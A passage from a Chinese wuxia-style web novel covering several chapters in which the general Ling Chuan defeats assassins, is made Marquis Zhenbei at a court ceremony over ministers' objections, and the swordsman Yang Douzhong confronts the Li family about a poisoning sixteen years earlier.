凌川一拳轰杀魁梧杀手,气息平稳,仿佛只是做了一件微不足道的小事。那锦衣男子见势不妙,眼中厉色一闪,双手连扬,一片淬毒的飞针、袖箭等暗器如蝗虫般罩向凌川,试图阻其片刻,以便脱身。 凌川身形微晃,如柳絮随风,在间不容发之际将密集的暗器尽数避开,动作飘逸从容。甚至在闪避之余,他信手一抄,精准地拈住了一枚射至面门的柳叶飞刀。 “咻……” 指间飞刀在真气的灌注下,发出一道尖锐的破空声,以比来时更快的速度倒射而回,化作一道肉眼难辨的冷电,直取锦衣男子咽喉。 “噗!” 利刃入肉的轻响传来,锦衣男子的身形骤然僵住,双目暴凸。 只见一把飞刀直接从他的咽喉穿过,带起大片血花。 他徒劳地伸手捂住咽喉,试图阻止生命的流逝,然而鲜血仍如决堤般从指缝和后颈的创口喷涌而出。 他张了张嘴,却发不出任何声音,最终带着浓烈的不甘与悔恨,软软地瘫倒在地,气绝身亡。 此时,解决掉对手纠缠的苍蝇与洛青云迅速赶到凌川身旁。二人脸上带着关切,急声问道:“将军,您没事吧?可有受伤?” “我没事!”凌川轻轻摇头,目光扫过逐渐被控制的战场,语气冰冷如铁:“告诉兄弟们,放开手脚,除恶务尽,无需留活口!” 命令传达下去,边军将士下手更是狠绝,不消片刻,整条街道便彻底恢复了寂静,只剩下浓重的血腥味在夜风中弥漫。 数十名心怀死志的杀手,全部伏诛,无一逃脱。 而就在凌川这边遭遇截杀,并以雷霆手段反杀的同一时间,早已如蛛网般散布在神都各处的廷尉府高手和禁军精锐,也迅速行动了起来。 他们沿着这些杀手出现和撤退的轨迹,顺藤摸瓜,以犁庭扫穴之势,将隐藏在神都阴影下的十多处永夜据点一一拔除,斩杀上千人,抓捕数百。 如果说,凌川一行进入神都时遭遇的那场清洗,只是陛下亮出的第一剑,那么,今晚这场由刺杀引发的连锁清剿,便是彻底斩断其在神都根基的收尾之战。 回到王府别院,凌川将自己身躯完全浸泡在盛满热水的宽大木桶之中。温热的水流抚慰着紧绷的肌肉,也让他内心激荡的杀气逐渐沉寂下来。 他闭上双眼,回味着今晚的战斗,尤其是最后轰杀魁梧男子那一拳的感悟。他发现,自修行了那神秘莫测的《道藏》之后,自己对自身真气的掌控力,都达到了一个前所未有的境界。 此前,一禅小和尚曾对他详细讲解过佛门护体神功般若金钟罩的修炼关窍与真气运行法门,凌川闲暇时也曾多次尝试凝练,却总是不得其法。 没想到,今夜竟然一气呵成,顺利施展了出来,这无疑让他再次感受到了道藏的玄妙之处。 …… 昭元二十七年,九月初九,重阳佳节! 陛下为镇北将军凌川举行的授封大典,在万众瞩目下于皇宫太和殿正式开启,此事早在三个月前便已召告天下,举国皆知。 礼部早在数日前就已着手布置,整个太和殿内外被打扫得一尘不染,殿前广场汉白玉石阶光可鉴人。 旌旗仪仗林立,手持金瓜、斧钺的御前侍卫身着亮银甲胄,肃立于御道两侧,神情肃穆,空气中弥漫着庄严肃穆的气息,连秋日的鸟鸣也似乎远遁,不敢惊扰这皇家盛典。 晨曦初升,万道金光洒落在巍峨的宫殿琉璃瓦上,折射出璀璨光芒。 骤然间,钟鼓齐鸣,宏大的礼乐之声悠悠响起,穿透云霄,宣告着大典的开始。 在礼官的高唱与百官的静候中,大周天子身着玄色绣金龙袍,头戴十二旒帝冕,珠玉遮面,看不清具体神情,唯有一股君临天下的威严自然流露。 他在内侍宫娥的簇拥下,乘舆而出,缓缓升坐于太和殿那高高在上的御座之中,文武百官按品级班次,鱼贯而入,肃立殿内两侧,鸦雀无声。 “宣,镇北将军凌川,入殿授封!” 皇帝贴身大太监那尖细而悠长的嗓音,在空旷的大殿中清晰回荡。 紧接着,殿门外两名中气十足的侍卫朗声接续传达,声音一波接一波,如同浪潮,直传至殿外广阔的广场。 大殿外,身着常服的凌川,正立于汉白玉台阶之下,他深吸一口气,压下心头微微的波澜,旋即拾阶而上。 他步伐沉稳,身形挺拔如松,英姿勃发,在那庄严肃穆的氛围与无数道或明或暗的目光注视下,不急不缓,一步步走向那象征着帝国权力核心的太和殿。 按照礼制要求,今日他未曾着甲,也未佩带那柄随他征战沙场的苍生刀,仅着一身象征武将身份的云纹常服,前来接受这无上的荣光。 步入大殿的瞬间,凌川目光快速扫过。 今日殿内的阵容,远比昨日的例行朝会要隆重得多。不仅所有在职的文武百官尽数到场,连安国公这般已不理政务的元老勋贵,也被特邀前来。 此外,殿内还多了许多身着蟒袍、玉带的皇族宗亲,甚至连凤冠霞帔的皇后,以及几位已成年的皇子,也都位列其中,静默旁观。 这等阵容,无疑昭示着此次封赏大典的规格之高,远超寻常。 凌川行至大殿中央,在那冰冷光滑的金砖地面上,面向龙椅上那道模糊而威严的身影,依足礼制,屈膝行了三拜九叩的大礼,声音清朗而沉稳: “臣凌川,叩见陛下!祝陛下隆福齐天,愿我大周江山永固,国泰民安!” “爱卿平身!”皇帝温和的声音从金台上方传来,双手微微虚托。 第一卷 第528章 镇北侯 待凌川起身肃立后,皇帝将目光转向文官班列次席的位置,开口道:“宋次辅,册封诏书乃是你亲自拟定,其中的褒奖与恩荣,你最为清楚。今日,便由你来宣读吧!” 次辅宋鹤年闻言,连忙出列,躬身行礼:“老臣遵旨!” 此举,让殿中不少老成持重之臣眼中闪过意味深长的神色。 按理,此等规格的封赏圣旨,应由内阁首辅黄千浒,或是德高望重的文渊阁大学士齐清远来宣读,方显郑重。 陛下却偏偏点了刚返回内阁的宋鹤年,虽以其拟定圣旨为由,但其背后隐含的政治信号,耐人寻味。 只见宋鹤年整理了一下衣冠,神情庄重地走到御前一侧,从一名太监手捧的紫檀木托盘中,双手极为恭敬地捧起那卷绫锦圣旨。 他转身,面朝凌川,也面向殿内所有的文武百官、元老宗亲,深吸一口气,朗声宣读: “镇北将军凌川,接旨!” 凌川再次撩袍,屈膝跪下,微微垂首,做出恭听圣训的姿态。 “奉天承运皇帝,制曰:” 宋鹤年的声音在大殿中回荡,每一个字都清晰可闻: “朕闻‘社稷之固,在德在功;山河之安,惟忠惟勇’。北疆云州镇北将军凌川,秉罡煞之威,怀经纬之略,今以赫赫战功,震烁寰宇,特颁此诏,以彰殊勋。” “昔胡羯犯边,狼烟蔽日,北疆震动,黎民忧惧。卿临危受命,以千余孤军,奔袭关外,临数万豺狼之众,血战数月,杀敌逾万,终使敌阵崩摧,狼狈北窜。此一役,非惟破敌于城下,实乃定北疆之乾坤,功在社稷,泽被苍生,此乃其一!” “及至凯旋,闻定州安王作乱,窥伺神器。卿不待诏令,明辨忠奸,星夜驰援,以疲敝之师破数倍之敌,鏖战于定州,终斩叛首于军阵前,使社稷危而复安。此等忠勇之心,天日可鉴,此乃其二!” “有此二功,足耀史册。兹依太祖皇帝‘武功封爵’之定制,特晋封尔为——镇北侯!” ‘镇北侯’三字如同三道惊雷,接连在寂静的太和殿中炸响! 满场官员,上至王公,下至低品阶臣工,无不身形微震,脸上瞬间布满惊愕之色,甚至有人忍不住微微侧头,与相邻之人交换着难以置信的眼神。 镇北侯? 许多人甚至怀疑自己是否听错了,就连跪在殿中的凌川本人,也满是惊诧与意外,瞳孔剧烈收缩。 原本,朝野内外普遍认为,此次陛下召凌川回神都,所谓的授封大典不过是个由头,真正的目的,是利用凌川这把锋利的‘过河卒’搅动神都沉寂多年的政局,借力打力。 数月前北疆大捷后,陛下已封赏凌川为镇北将军,擢升云州副将,按理已酬其功,谁能想到,陛下竟是真的要再次大加封赏。 而且,是直接封侯! 更关键的是,陛下将此意图隐藏得极深,事先没有走漏半点风声,将满朝文武,包括那些老谋深算的权臣,全都摆了一道。 自大周立国以来,除了历代帝王登基,按制封赏兄弟为王并赐予封地之外,从未册封过任何异姓王。 即便是封侯,也是屈指可数,无一不是开国时追随太祖征战天下,或是于国有定鼎之功、挽狂澜于既倒的绝世功臣。 细数凌川此前北疆、定州两场大功,若放在开国时期,封侯或许勉强足够,但陛下已在数月前封赏过一次,如今再次加封侯爵,这份恩宠,实属罕见。 就在所有人都被‘镇北侯’这三个字震得心神摇曳,思绪纷乱之际,宋鹤年宣读圣旨的声音继续响起,而接下来的内容,更是让众人的震惊层层叠加: “另授: 金印紫绶,位列三品; 紫金侯冠,织金蟒袍; 世袭罔替,沿袭三代; 食邑云州七县!” “另赐: 东海明珠十斛,蜀锦百匹; 黄金五千两,永彰殊荣!” “妻苏氏,温良贤淑,相夫有方,特封三品诰命淑人,赐凤冠霞帔,以示荣宠。” “布告天下,咸使闻知。惟望卿持赤心以奉社稷,砺锋刃以卫家国,永镇北疆,不负朕望!” “昭元二十七年,九月初九。” “内阁次辅宋鹤年,奉敕谨拟!” 圣旨宣读完毕,那余音似乎还在雕梁画栋间缭绕不去。 可偌大的太和殿,却陷入了一种诡异的死寂之中,落针可闻。 空气仿佛凝固,百官们脸上的表情精彩纷呈,有震惊、有羡慕、有嫉妒、亦有深深的忧虑。 凌川也是过了数息,才从那巨大的冲击中回过神来。 “臣,凌川,领旨谢恩!” 他再次深深叩首,声音带着一丝不易察觉的微颤,随即双手高高举过头顶,接过了那卷象征着无上荣耀的圣旨。 “慢着!” 就在这寂静被打破,礼仪官即将引导进行下一步仪程的关口,一道苍老却中气十足,且隐含怒意的声音,如同冰锥般刺破了殿中复杂的气氛。 只见文官班列前排,须发皆白,面容清癯的文渊阁大学士、国丈齐清远,猛地一步踏出,对着龙椅上的皇帝躬身一礼,语气斩钉截铁,不容置疑: “陛下!老臣以为,此举大为不妥!” 皇帝端坐于龙椅之后,神色淡然,仿佛早已预料到这一幕。他甚至微微调整了一下坐姿,语气平静无波: “国丈大人有何异议?但讲无妨!” “陛下!”齐清远抬起头,目光如电,先是扫了一眼手持圣旨的凌川,随即直视御座,“臣以为,凌川虽于国有功,然数月之前,陛下已论功行赏,擢其为镇北将军,授云州副将,恩赏已极厚!如今再次加封侯爵,且世袭罔替,食邑七县,此等封赏,未免过重!其所立之战功,虽显赫一时,然细究之下,尚不足以支撑如此超拔之封赏!陛下如此偏袒,恐寒了边关数十万浴血奋战将士之心,更会让朝中有功之臣心生不平,以为赏罚失据!望陛下三思!” 皇帝闻言,并未动怒,嘴角还泛起一丝若有若无的笑意,反问道:“哦?国丈认为凌川战功不足以封侯?那朕倒要问问,自本朝开国以来,可曾有人以千余兵力,斩杀数万敌军的壮举?” 第一卷 第529章 还有谁反对? 面对皇帝这一问,齐清远语气一滞。 凌川北疆之战,战绩确实耀眼,无人能出其右,这是不争的事实。他只能硬着头皮道:“北疆之功,确属难得,然……” 皇帝不待他说完,继续追问,声音提高了几分,带着不容置疑的威严:“既然无人能及,那便是首功!再者,国丈言其功不足以封侯,那朕就更要请教了,自本朝开国以来,可曾有人能仅凭千余兵力,于野战中正面击溃数万胡羯铁骑,并斩首万余?若朕记得不错,自朕登基这二十七年以来,北疆对阵胡羯,从未取得过如此辉煌之大胜吧?此战不仅解了北疆之围,更是一扫我朝多年边患阴霾,壮我军威,扬我国威于域外!国丈乃文臣领袖,熟读史书,当知此等功绩,放在任何一朝,封侯可算过分?” 皇帝的目光如炬,紧紧锁定在齐清远身上,语气虽平缓,却带着千钧之力。 齐清远张了张嘴,脸色一阵青一阵白,发现自己在战功这一点上,确实难以找到强有力的理由反驳。 皇帝以事实和祖制为依据,将他逼到了墙角,他最终只能颓然垂下目光,声音干涩地回答道:“陛下……圣明烛照,是老臣……思虑不周了。封侯……不过分!” 说着,他默默退回了班列之中,只是那紧握的拳头和微微颤抖的衣袖,显露出他内心的极不平静。 然而,齐清远刚刚退下,另一人便迫不及待地站了出来,正是户部尚书顾承均。 他面色沉痛,甚至带着一丝悲愤,高声奏道:“陛下!臣有本要奏!事关国法纲纪,臣不得不言!” 皇帝眉头微不可察地一皱,语气中带上了几分不悦:“顾尚书,今日乃是授封大典,普天同庆之时,有何公务,留待明日朝会再议不迟,莫要坏了这大殿之上的气氛!” “噗通!” 谁知,顾承均竟直接双膝跪地,以头抢地,发出‘咚咚’闷响,再抬头时,已是老泪纵横,声音悲切无比: “陛下!求陛下为老臣,为臣那苦命的女儿做主啊!陛下!” 他这突如其来的痛哭流涕,让殿中刚刚稍缓的气氛再次紧绷起来。 皇帝脸上的不悦之色更浓,沉声道:“究竟何事?说!” 顾承均伸手指向手持圣旨,静立一旁的凌川,眼中充满了刻骨的仇恨与杀意,嘶声道:“陛下!臣的女婿,前北疆总参军章绩,奉陛下之命召回神都任职,本是皇恩浩荡,光耀门楣之事!可谁知……谁知他却死在了回京途中!廷尉府最初调查,言其死于流窜马贼之手!可臣……臣前段时间偶然得知,马贼之说,纯属子虚乌有,乃是有人掩盖真相的幌子!实则是凌川他公报私仇,挟怨报复,亲自带人在途中截杀了我那女婿章绩啊!” 他声泪俱下,演技逼真:“陛下明鉴!凌川此子,心狠手辣、睚眦必报!臣那女儿,年纪轻轻便守了寡,终日在家以泪洗面,痛不欲生!章绩纵然有千般不是,亦当由国法处置,岂容他凌川私自动刑,擅杀朝廷命官?此风若长,国将不国!恳请陛下下令,即刻将凌川这杀人元凶拿下,明正典刑,以慰臣婿在天之灵,以正我大周律法纲纪!” 他一番哭诉,字字血泪,若是不明真相之人,恐怕真会为之动容。 然而,龙椅上的皇帝,听完他的控诉,非但没有震怒,反而发出一声意味不明的冷笑。 “好!很好!你要朕为你主持公道,朕今日就为你主持这个公道!” 皇帝说着,竟直接从御案之上拿起一本早已准备好的奏折,看也不看,随手丢到了顾承均面前的金砖地上。 “啪!” 奏折落地的声音并不响亮,却如同重锤般敲在顾承均的心头,让他浑身猛地一颤。 “顾尚书……”皇帝的声音变得冰冷刺骨,如同数九寒天的风,“是你自己捡起来看,还是朕让内侍当众宣读?” 顾承均伸手捡起那份奏折,缓缓将其打开,只见‘血衣堂’‘锦上花’‘永夜’等字眼如同一支支利剑射入双瞳。 霎时间,他脸色一片苍白,额头上的冷汗更是不受控制地冒了出来。 他捧着奏折的双手剧烈颤抖,几乎拿捏不住。 这份奏折,盖着廷尉府的鲜红印章,那无异于是对奏折的内容盖棺定论。 无论他自己是否清楚章绩的这层身份,无论他顾家与永夜有无牵连,此事一旦当众揭开,他不仅保不住官位,恐怕整个顾家都要遭受灭顶之灾。 皇帝将奏折丢到他面前让他自己看,而非当众宣读,已经是给了他天大的体面,或者说,是陛下暂时还不想将此事彻底闹大,引发朝堂地震,意在敲山震虎。 皇帝不再看他那副失魂落魄的模样,仿佛驱赶苍蝇般挥了挥手。 顾承均如蒙大赦,又似被抽走了全身骨头,吃力地站起身来,退回原位。 处理完这个小插曲,皇帝缓缓抬起目光,如同实质般从大殿之上每一个人的脸上扫过,带着无上的威严与压迫感。 整个太和殿,静得能听到彼此的心跳声。 皇帝缓缓开口,声音不高,却清晰地传入每一个人耳中: “现在,还有谁……反对朕给凌川封侯?” 大殿之中,鸦雀无声,再无人敢出一言。 毕竟,连户部尚书与文渊阁大学士这两位权臣都未能阻止,显然陛下心意已决。 见再无人出声,皇帝这才缓缓站起身,并未让内侍代劳,而是亲自步下那九阶金台。 几名手捧紫檀木托盘的太监立刻躬身趋步上前,托盘之中,分别盛放着那件玄青织金蟒袍、那尊九旒侯冠,以及那一方沉甸甸、象征着权柄与荣耀的镇北侯鎏金大印。 皇帝径直走到依旧单膝跪地,手捧圣旨的凌川面前,双手将其扶起带着一丝欣赏,一丝期许,还有一丝唯有他自己才懂的深意。 他亲手执起那件叠放整齐的蟒袍,双臂一振,猛然将其抖开! “哗啦……” 随着那件蟒袍展开,大殿中的空气仿佛瞬间被抽空,所有人的呼吸都为之一滞。 第一卷 第530章 蟒袍加身 不同于文臣朱紫官服,这是一片沉郁的玄青,如深夜的苍穹,又似风暴前夕的瀚海。袍服以暗纹云缎为底,光泽内敛,却自生一股沙场独有的肃杀之气。 袍上巨蟒不再是端正盘坐,而是四爪虬张,蟒身暴起,呈现搏杀之姿,蟒首微侧,血口怒张,利齿森然,一双金线缀瞳的蟒眼凶光毕露,仿佛下一刻便要破袍而出,择人而噬。 蟒身蜿蜒扭动,片片鳞甲以玄黑铁线绣出锋锐边缘,在青蓝底色的映衬下,闪烁着金属般的冷硬光泽。 下摆处,汹涌的海浪并非祥和的福山寿海,而是惊涛裂岸,与蟒纹共同构筑出一幅气吞山河、威压四极的磅礴画卷。 这身衣袍,与凌川眉宇间的卓然英气完美契合,那暴起欲噬的四爪凶蟒,正是他于万军之中斩将擎旗的写照,此袍加身,他便是行走的皇权象征,是帝国最锋利的刀。 皇帝亲手为凌川披上蟒袍,那双执掌天下的手在他肩头轻轻抚过,仔细为他整理好衣领,一寸寸抚平每一处细微的褶皱。 殿内百官屏息,唯有衣料摩挲的细微声响在寂静中格外清晰。 紧接着,皇帝又取过那顶紫金侯冠,稳稳地为他戴上,冠冕的重量沉甸甸地压在头顶,仿佛承载着皇帝乃至整个帝国的期许。 这份殊荣,放眼偌大的朝堂,也是独一份的存在,凌川却能感觉到那无形的压力如潮水般涌来,他只能强行定在原地,纹丝不动,唯有微微收紧的指尖泄露了他内心的波澜。 随即,皇帝退后三步,目光如炬,仔细打量了一番,终于满意地点头道:“嗯,不错!眉目英朗,英姿卓然!哈哈哈哈……” “谢陛下!”凌川手持圣旨,躬身行礼。 当他抬起头时,殿内众人皆是一怔。 此时的凌川,身披蟒袍,头顶侯冠,那原本就俊朗非凡的面容在庄严服饰的映衬下,平添了几分凛然不可侵犯的英武之气。 恍惚间,一股磅礴气势自他身上散发出来,那双眼睛宛如夜空中最璀璨的星辰,熠熠生辉,让人不敢直视。 “礼成!” 皇帝身侧的小宁子适时高声宣告,声音在殿内层层回荡。 文武百官纷纷躬身行礼,衣袂窸窣之声不绝于耳。 即便是皇族宗亲以及安国公这等早已离开朝堂的元老,也都纷纷起身,向皇帝道贺。安国公捋着花白的胡须,眼中闪过一丝欣慰之色。 周苍、周云、周灏这三位皇子站在百官前列,神色各异。 周苍目光深沉,若有所思;周云微微蹙眉,手指无意识地摩挲着玉带;周灏唇角带笑,神色中带着钦佩与敬重。他们心中都在重新估量着这位新晋侯爷的分量。 紧接着,皇帝重新登上金台,转身面朝文武百官,朗声说道:“镇北侯凌川听令!” 凌川神色一凛,连忙抱拳道:“臣在!” “东疆生变,大和帝国虎视眈眈,朕命你为东征先锋将军,择日起程前往东疆协助林大将军御敌,望你不负圣恩,再立战功,扬我大周国威!”皇帝的声音洪亮有力,在大殿梁柱间回荡,每一个字都掷地有声。 果然,如凌川猜测那般,陛下终究是要让他去东疆。之所以选择在这个时候宣布命令,显然是因为此前自己的身份还不够分量。 如今,陛下封他为镇北侯,更是直接擢升为正三品将军,便是为了让他以先锋将军的身份前往东疆助战做铺垫。 “臣定不负圣恩,护我疆域;不负百姓信任,诛杀贼寇;不负家国信仰,扬我国威!”凌川抱拳回答,声音坚定如铁。 “说得好,朕在神都等你的捷报!”皇帝满脸欣慰之色,目光中满是期许。 紧接着,他又看向蓝少堂,下令道:“蓝少堂听令!” “末将在!”蓝少堂没想到陛下竟会点自己的名,微微一怔后果断出列,甲胄随着他的动作发出清脆的碰撞声。 “朕命你为副先锋,率一万禁军,跟随凌川前往东疆助战!” “末将遵命!”蓝少堂大声回答道,声音中透着压抑不住的激动。 任谁都看得出来,皇帝这是明摆着派一万禁军给凌川当底气,让他就算到了东疆,也不至于无兵可用而仰人鼻息。 再加之蓝少堂本就曾在东疆水师任职,熟悉海战,让他给凌川当副手,显然是经过深思熟虑的安排。 授封大典礼成之后,皇帝早已在偏殿设下宴席。 金碧辉煌的殿内,珍馐美馔陈列于案,就连皇帝,也破例与群臣同桌共饮。琥珀色的御酒在玉杯中荡漾,映照着一张张神色各异的面庞。 凌川作为今日当之无愧的主角,自然有不少人前来向他敬酒。 文官们言辞恭谨,武将们豪迈直爽,一杯接一杯的酒水被端到面前,还好凌川带回来的狼血数量有限,今日用的乃是宫廷御酒,要是狼血的话,他非得被灌翻不可。 令人诧异的是,三位皇子竟然接连上前向凌川敬酒。周苍举杯时目光深邃,言语间透着试探;周云笑意盈盈,言语间滴水不漏,但却始终带着防备;相比之下,三皇子周灏的态度就要真切得多。 这其中意味令人深思,不少官员都在暗中观察着这一幕。 这酒虽然不及狼血那般猛烈,但喝得多了,凌川也渐渐觉得头晕目眩,脸颊泛起微红,额角渗出细密的汗珠。 好在宴席并未持续太久,皇帝便让大家自行散去,凌川强撑着向一众官员敬了几杯酒,随即便以送安国公回府为由,趁机开溜。 “你小子,竟然拿老夫当挡箭牌!”马车中,安国公指着凌川笑道,眼中却满是慈爱。 凌川无奈地揉了揉发胀的太阳穴,苦笑道:“老将军,您要不带我离开,我今天非得睡在那儿不可!” “哈哈哈,前面就到了,你赶紧回去吧!”安国公笑道,拍了拍他的肩膀,小声说道:“记住,东疆之行,万事小心!” 凌川郑重点头,说道:“老将军放心,我会留意的!” 第一卷 第531章 丰厚赏赐 凌川回到王府的时候,已是黄昏时分。 夕阳的余晖洒在王府门前的石狮子上,镀上一层金黄,苍蝇等一众亲兵早已等候多时,个个面带激动之色,纷纷上前行礼:“参见侯爷!” “行了行了,瞎起什么哄!”凌川挥了挥衣袖,故作严肃,眼底却带着笑意,随即快步进屋。 刚踏入正堂,凌川便被眼前满目琳琅给惊呆了。 之前宣读圣旨的时候,他并没有太在意这些封赏,现在亲眼见到,才知道陛下的赏赐是何等丰厚。 光是黄金,便足足装了五个沉甸甸的红木箱,箱盖敞开,金光灿灿晃人眼目。还有各色绫罗绸缎、珠宝美玉更是堆满了另外几个大箱子,在暮色中流转着温润的光泽。 当这些赏赐送上门的时候,苏璃也被震惊得不轻,她站在那些箱子前,久久不能言语。 特别是那套精美的凤冠霞帔和那封三品诰命淑人的圣旨,让她的内心久久无法平静,她轻轻抚摸着霞帔上精致的绣样,眼中情绪复杂。 看到身着蟒袍、头戴金冠的凌川走进来,苏璃的内心更是激动得无以复加。她的夫君如今已是堂堂侯爷,这让她既骄傲又忐忑。 “相公,这……”苏璃显得手足无措,并非是没见过这么多的贵重之物,相反,她出身豪门,什么样的宝贝没见过? 只是她不明白,陛下并未给父亲平反,却给了这么多的赏赐,更是封自己为三品诰命淑人,这让她内心很是复杂。 凌川轻轻拉着她的手,感觉到她指尖的微颤,温声道:“娘子安心,既然是陛下赏赐的,那咱们安心收下即可。至于苏家的事情,想必陛下另有计较!” “陛下是不是要派你去东疆?”苏璃的眼神中带着几分担忧,声音微微发紧。 凌川点了点头,将她冰凉的手握得更紧了些:“过几日就起程!” “哟,穿上这蟒袍,还真是有几分人模人样啊!”就在这时,杨老头慢悠悠地走了进来,揶揄道。他依旧穿着那身青色长衫,与这满室奢华格格不入。 凌川苦笑说:“杨老头,你就别拿这个取笑我了!” “这还真不是取笑,”杨铁匠走上前来,对凌川这身蟒袍仔细打量了一番,眼中闪过一丝难以察觉的赞赏,“中观几百年大周,外姓封侯的可没几个,你这般年轻的更是一个都没有!” 杨铁匠伸出粗糙的手指,轻轻抚过蟒袍上的纹样,随即撇嘴道:“好看是好看,但不适合打铁穿!” 凌川一脸无语,估计皇帝要是听到这话,脸当场就得绿。 “听说,你小子要去东疆打仗?”杨铁匠问道,目光锐利如鹰。 凌川点头,回答道:“过几日就要出发了,杨师傅一起去?” “老夫确实要去东海,就顺道再送你一程吧!”杨铁匠淡淡说道。 “你去东海做什么?”凌川连忙问道。 杨铁匠轻叹一声,点头道:“十六年了,也是时候去白云城,报那当年的断剑之仇了!” 凌川一听,眼神中精光一闪。 杨铁匠要去东海白云城,找白惊霆报断剑之仇,这消息要是传出去,恐怕整座江湖都得为之轰动,他仿佛已经能看到江湖上即将掀起的惊涛骇浪。 十六年前那场惊世骇俗的一战,至今还经常被江湖中人津津乐道。 尽管一代剑神杨斗重在那一战中惜败半招,折剑出江湖,但他在江湖中的地位却丝毫不减。 这十六年来,杨斗重彻底从江湖中销声匿迹,但有关他的传说却从未远离。 直到几个月前,曾经的一代剑神重现江湖,虽然先后只出手两次,但消息却如长了翅膀一般,早已传遍整座江湖,不少人都在暗中猜测,他会不会去白云城一雪前耻。 “杨老头,都过去这么久了,要不白云城咱就不去了吧!”凌川试着劝阻道,语气中带着真切的担忧。 杨铁匠淡淡扫了他一眼,笑问道:“怎么?你小子怕我输?” 凌川尴尬一笑,说道:“当年你正值壮年都打不过人家,更何况现在的你,早已不复巅峰!” 杨铁匠面带苦涩笑意,眼神中却满是回忆,喃喃说道:“当年我答应她,让他亲眼看到大江东去,所以,离开神都之后,我去了白云城……” 杨铁匠长叹了一声,继续说道:“奈何,当时的我剑心有缺,并未能施展出完整的大江东去,转眼便是十六年过去,也该兑现承诺了!” 说完,杨铁匠径直朝着门外走去,“小子,我去处理点私事,处理完之后便跟你一起去东疆!” 夕阳的余晖将杨铁匠的身影拉得老长,他离开王府之后,独自去了李家。 神都李家,论及根基不在宋家和以往的苏家之下,年过八旬的老爷子李成煌自首辅之位退下来之后,便不问俗事,但其长子李晋安执掌六部之首的吏部,次子李晋逞执掌南系军,女儿更是贵为当今皇后。 朝堂之上,一直由黄齐二党把控,但谁也不敢忽视李家这一派系,不过,让人意外的是,李家从来不参与朝堂之争。 李晋安在文渊阁当了十年校理,直到老爷子退下来之后,才进入六部,但最初也只是在工部做了五年员外郎,后来进入吏部做了三年侍郎,最后才登上六部之首的位置。 一年前,苏家倒台之后,南系军被清理了一大批武将,黄齐二党争相安插人手到南系军中,更是想方设法去争夺主帅之位,然,最终却被皇帝压了下来,让李晋安前去接管南系军。 可即便如此,李家依旧独来独往,从不参与到政派之争中去,就连大皇子想要争夺储君之位,几次拜访外公与舅舅,都被回绝,以至于他只能拉拢黄千浒,以黄党为助力。 李晋安从皇宫回来之后,便将今日授封大典的经过向父亲一一禀报,李老爷子全程静听,没有做任何表态,最后,只是从嘴里淡淡吐出三个字: “知道了!” 李晋安刚要退下,管家迈着急促的步伐走了进来,李成煌雪白的眉头微微一蹙,问道:“何事?” 老管家跟随他多年,办事沉稳老练,极少像现在这般焦急,显然遇到的事情很不一般。 “老爷,他来了!” 第一卷 第532章 临江仙 李府大门口,一众家丁手持刀枪,严阵以待。 门外,身着青衫,腰间悬挂一只酒葫芦,形象略显邋遢的杨斗重缓步走来,每靠近一步,众人便感觉身上的压力陡然增加几分。 当他来到门口跟前,十余名家丁仿佛被禁锢在原地,仿佛千斤重担在身,手脚无法动弹,甚至连呼吸都变得困难起来。 他们就这样,看着这名青衫老者大摇大摆地走进了李府大门。 进入府中,杨斗重绕过山水屏风,径直来到宽阔的庭院之中。 正前方,李成煌杵着拐杖站在那里,长子李晋安与年过花甲的老管家一左一右站立。 看到杨斗重,李成煌神色泰然,老管家深邃的眸子中闪过一抹忌惮,李晋安则是带着深深的怒意。 “没想到,十六年不见,曾经锋芒无双、剑冠天下的杨剑神,竟然变成了这副模样!”李成煌轻笑道,声音略带嘶哑,但依旧中气十足。 “杨斗重,你想干什么?”李晋安怒喝一声,“我们李家不欢迎你,赶紧给我滚!” 此时的他满脸怒容,眼神中更是写满了杀意,与朝堂之上的沉稳形象判若两人。 杨斗重淡淡抬起目光,看着李晋安,说道:“杨某今日前来,只问一件事!” “你想问什么?”老爷子李成煌沉声问道。 杨斗重看着李成煌,低沉的声音如剑鸣,“当年的牵机引之都,是何人所下?” 此言一出,现场顿时陷入沉寂,李老爷子的眼神陡然一缩,身旁管家目光更是不停闪烁。 李晋安眼神中怒火熊熊,指着他呵斥道:“杨斗重,你还好意思提当年之事,要不是你,她怎么会死?” 李晋安口中的她不是别人,正是死于十六年前的秀婵公主。 他之所以这般失态,只因秀婵公主乃是他的未婚妻,当初,他虽为首辅之子,却只是文渊阁之中一个名不见经传的校理,可皇帝却亲自赐婚,将极为宠爱的亲妹妹秀婵公主许配给了他。 对于本就地位显赫的李家而言,这个驸马的位置并没有那么重要,但李晋安却是欣喜若狂,只因他从第一次见到秀婵公主,就深深为其着迷,更是暗自发誓非她不娶。 然而,就在那一年,杨斗重来了神都,一开始,他并未将这位江湖草莽当回事,在他看来,双方根本不是一个世界的人,根本不可能有任何交集。 直到他听说秀婵公主近期悄悄出宫,与此人走得很近,他内心便生出了杀意,但碍于杨斗重的恐怖实力,深知不可力敌只能智取。 杨斗重没有理会他的暴怒,而是神色平静地看着他,问道:“所以,毒是你下的?” “是我下的,又如何?”李晋安走上前来,直面杨斗重。 杨斗重冷笑一声,随即往前踏出一步,顷刻间,一股凌厉气势自体内弥漫而出,偌大的庭院中,空气陡然一滞,哪怕是相隔十余丈,李晋安父子二人也感觉到了那股凌厉而恐怖的气息。 “轰……” 就在此时,一声闷响传来,只见站在李成煌左侧的老管家猛然一步踏出。 看似轻轻的一步,却宛如闷雷在天地间炸响,杨斗重凝聚的恐怖气势也被其震碎。 杨斗重目光微凝,随即露出一抹冷笑,道:“我就说,他一个连神都都没出过几次的公子哥,怎么可能接触到牵机引这样的东西,原来是你!” 老管家缓步来到李家父子面前,就这几步距离,他整个人却像是完成了一场蜕变,虽然身形与长相跟之前并无明显变化,但气势上却是天差地别。 此时的他,宛如一座雄山大岳矗立在那里,尽管还没出手,却仿佛蕴含着无上力量。 杨斗重看着他,淡淡问道:“阁下是丹青府的哪位?” 老管家神色平静,淡漠吐出四个字:“在下临江仙!” “原来是丹青府四大当家之一!”杨斗重神色微变,随即摇头道:“若是你们四位全部到场,或许能让我倾尽全力,但你一个人,根本不够看!” 杨斗重虽曾纵横江湖,但,对丹青府和风雪楼这两大杀手组织的了解却并不多,唯一的一次,也就是二十年前,曾跟丹青府四大当家之一的‘剑气近’有过一次交手。 那位,当时也是江湖上公认的剑道大家,一身剑术不输当时的蜀山剑首,而彼时的杨斗重,剑道趋于小成,以半步宗师境与对方激战百余回合,不分胜负。 临江仙面色淡然,可眼神之中却写满了忌惮之色:“我确实不是你的对手,难道我现在跪下来求饶,你就会放过我?” 